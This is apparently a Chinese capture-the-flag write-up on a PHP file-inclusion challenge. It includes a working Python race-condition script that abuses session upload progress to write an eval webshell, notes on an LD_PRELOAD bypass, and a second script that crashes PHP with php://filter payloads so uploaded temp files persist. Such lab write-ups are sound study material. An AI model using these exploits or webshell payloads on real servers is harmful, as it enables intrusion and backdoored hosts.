摘要
session 文件上传+竞争 php7 segment fault特性
显示:
username/password error
返回了哈希值,输入验证后跳转404,抓包
/flflflflag.php:文件包含点
1 2
| <body> include($_GET["file"])</body>
|
又是 cmdline 可读,environ 不可读……
利用session.upload_progress进行文件包含
学习了一波利用session进行竞争包含:
利用session.upload_progress进行文件包含和反序列化渗透
浅谈PHP_SESSION_UPLOAD_PROGRESS和条件竞争的巧妙利用
感觉很棒……
竞争脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import io import sys import requests import threading
sessid = 'test' url = 'http://b4539af9-768c-4832-bbbe-2d6d2b0da7a3.node4.buuoj.cn:81/flflflflag.php'
def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( url, data={ "PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"}, files={"file": ('a.txt', f)}, cookies={'PHPSESSID': sessid} )
def READ(session): while True: response = session.post(url + '?file=/tmp/sess_' + sessid) if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0)
with requests.session() as session: t1 = threading.Thread(target=POST, args=(session,)) t1.daemon = True t1.start() READ(session)
|
通过包含执行代码,将指定内容写到shell.php
中
成功输出信息
但在页面命令执行无回显,应该有限制,连接蚁剑,无显示,无权限……
一波LD_PRELOAD
:
生成.antproxy.php
此时可以命令执行,但找不到flag……
创建页面,看phpinfo:
php7 segment fault特性
扫目录可得dir.php
……扫不出来
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
- php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd
- php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
嫖个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests from io import BytesIO
mode1 = "php://filter/string.strip_tags/resource=/etc/passwd" mode2 = "php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA" url = "http://93fed8e6-341b-499c-b41b-0f0a6288549b.node4.buuoj.cn:81/flflflflag.php?file="
url = url + mode1 payload = "<?php phpinfo();?>"
files = { "file": BytesIO(payload.encode()) }
res = requests.post(url=url, files=files, allow_redirects=False)
print(res.text)
|
dir.php:
获取flag
参考文章:
https://blog.csdn.net/rfrder/article/details/114656092